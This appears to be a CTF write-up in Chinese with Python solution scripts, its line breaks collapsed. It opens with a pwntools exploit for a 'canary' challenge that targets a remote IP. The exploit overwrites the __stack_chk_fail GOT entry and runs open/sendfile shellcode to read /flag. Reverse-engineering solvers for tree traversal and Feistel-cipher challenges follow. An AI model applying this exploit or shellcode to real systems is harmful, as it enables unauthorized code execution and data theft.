from pwn import *from LibcSearcher import *# context(log_level='debug',arch='i386', os='linux')context(log_level='debug',arch='amd64', os='linux')pwnfile = "./canary"io = remote("139.155.126.78",25663)# io = process(pwnfile)elf = ELF(pwnfile)libc = ELF("./libc/libc-2.31.so")s = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda num=4096 :io.recv(num)ru = lambda delims :io.recvuntil(delims)itr = lambda :io.interactive()uu32 = lambda data :u32(data.ljust(4,b'x00'))uu64 = lambda data :u64(data.ljust(8,b'x00'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))lg = lambda address,data :log.success('%s: '%(address)+hex(data))gadget = [0xe3b04,0xe3b01,0xe3afe,0xf1147]ret_addr = elf.sym['vuln']stack_chk_fail_got = elf.got['__stack_chk_fail']jmp_rsp = 0x40081Bru(b"Say some old spells to start the journeyn")payload = p64(0x400820)sl(payload)ru(b"Tell me the location of the Eye of the Deep Sean")s(b"a"*8+p64(stack_chk_fail_got))ru(b"I have magicn")s(p64(0x4008EF))ru(b"Let's go!n")sh = shellcraft.openat(-100,"/flag",0)sh += shellcraft.sendfile(1,3,0,0x50)payload = b"a"*0x28+p64(jmp_rsp)+asm(sh)# gdb.attach(io)s(payload)itr()
DASCTF{06678321764964616748335726574063}
根据题目意思知道有中序，后序和层次遍历
修一下花指令
找到两个字符串
根据代码可以判断出第一个是中序遍历，第二个是后序遍历，第三个是层序遍历
所以输入用层序遍历构建二叉树，然后利用中序和后序遍历进行比较
利用中序密文和后序密文构建二叉树，层序遍历输出得到flag
from collections import dequedefLevelOrder(postorder, inorder):ifnot postorder ornot inorder:returndefbuild_tree(postorder, inorder):ifnot postorder ornot inorder:returnNoneroot_val = postorder[-1]root = {'val': root_val, 'left': None, 'right': None}root_index = inorder.index(root_val)root['left'] = build_tree(postorder[:root_index], inorder[:root_index])root['right'] = build_tree(postorder[root_index:-1], inorder[root_index + 1:])return rootdefbfs_traversal(root):ifnot root:returnqueue = deque([root])while queue:node = queue.popleft()print(node['val'], end="")if node['left']:queue.append(node['left'])if node['right']:queue.append(node['right'])tree_root = build_tree(postorder, inorder)bfs_traversal(tree_root)postorder = "j7aw_sC3addq4TAo}8_Fda{SD"inorder = "ja7Cws_A3daTd4qDo8}F_Sd{a"LevelOrder(postorder, inorder)
主要加密就这一句
(flag[i]<<4)|(flag[i+1]>>4)
最后还有个异或
直接用ida_dbg拿到r8和r9就行
最后解密拿到flag
## from ida_hexrays import *# from ida_dbg import *# from idaapi import *# from idautils import *# from idc import *# from ida_kernwin import *# '''自定义调试器钩子类'''# r8=[]# r9=[]# class dbg_hooks_t(ida_dbg.DBG_Hooks):# global r8,r9# '''继承自父类DBG_Hooks'''# def __init__(self):# ida_dbg.DBG_Hooks.__init__(self)# def dbg_suspend_process(self):# if"cmp" in GetDisasm(here()):# r8.append(cpu.r8)# r9.append(cpu.r9)# print("r9=",r9)# print("r8=",r8)# continue_process()# if"jz" in GetDisasm(here()):# cpu.zf=1# continue_process()### '''安装/卸载钩子'''# if'tmp_dbg_hooks' not in dir():# tmp_dbg_hooks = dbg_hooks_t()# tmp_dbg_hooks.hook()# print('[+] tmp dbg hook success')# else:# tmp_dbg_hooks.unhook()# del tmp_dbg_hooks# print('[+] tmp dbg unhook success')r9= [8889, 51704, 35977, 65304, 5177, 19978, 10891, 1995, 48619, 64171, 16379, 30795, 40734, 20459, 19723, 53390, 14523, 52142, 53966, 37182, 2667, 61499, 20603, 14731, 37854, 15566, 17822, 19134, 21822, 12654, 13246, 17150, 52942, 19934, 38955, 41755, 32814, 4846, 63098, 60281]r8= [8957, 51693, 36029, 65325, 5245, 20077, 10813, 1965, 48637, 64237, 16317, 30765, 40829, 20333, 19773, 53421, 14589, 52205, 53949, 37165, 2685, 61549, 20541, 14765, 37885, 15597, 17853, 18989, 21885, 12653, 13117, 17069, 52989, 19949, 39101, 41773, 32893, 4717, 63037, 60333]enc=[r9[i]^r8[i] for i in range(len(r9))]print(enc)for i in range(40):print(chr((enc[i-1]&0xf)<<4 | (enc[i]>>4)),end="")
直接跟汇编复现算法，可以发现是类似sm4结构的算法，找到主要加密函数
二十轮Feistel 结构的加密，主要还原sub_100261b
动调能看到清晰的异或，和字节间的移位操作
复现出算法
解密拿到flag
import libnumdef getlbytes(l):ans = []for i in l:get = []for j in range(4):get.append(i & 0xff)i >>= 8ans += getreturn ansdef getdword(list, mode="little"):ans = []for i in range(0, len(list), 4):ans.append(int.from_bytes(list[i:i + 4], mode))return ansdef fun(a1,a2):a2^=a1temp=getlbytes([a1])temp2=getlbytes([a2])for i in range(4):ecx=temp[i]&3temp2[i],temp2[ecx]=temp2[ecx],temp2[i]return getdword(temp2)[0]^a1table=[0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E]enc=[0x33293158, 0x60760211, 0x42185F46, 0x63746F29]# test=getdword(texttoascii("11112222"))# for i in range(0,len(test),2):# v10=test[i]# v11=test[i+1]# for i in range(20):# v10,v11=v11,v10^fun(table[i],v11)# print(hex(v10),hex(v11))## enc=[0x635b033b,0x51693109]for i in range(0,len(enc),2):v10 = enc[i + 1]v11 = enc[i]for i in range(20-1,-1,-1):v10,v11=v11^fun(table[i],v10),v10print(libnum.n2s(v10).decode()[::-1],end="")print(libnum.n2s(v11).decode()[::-1],end="")
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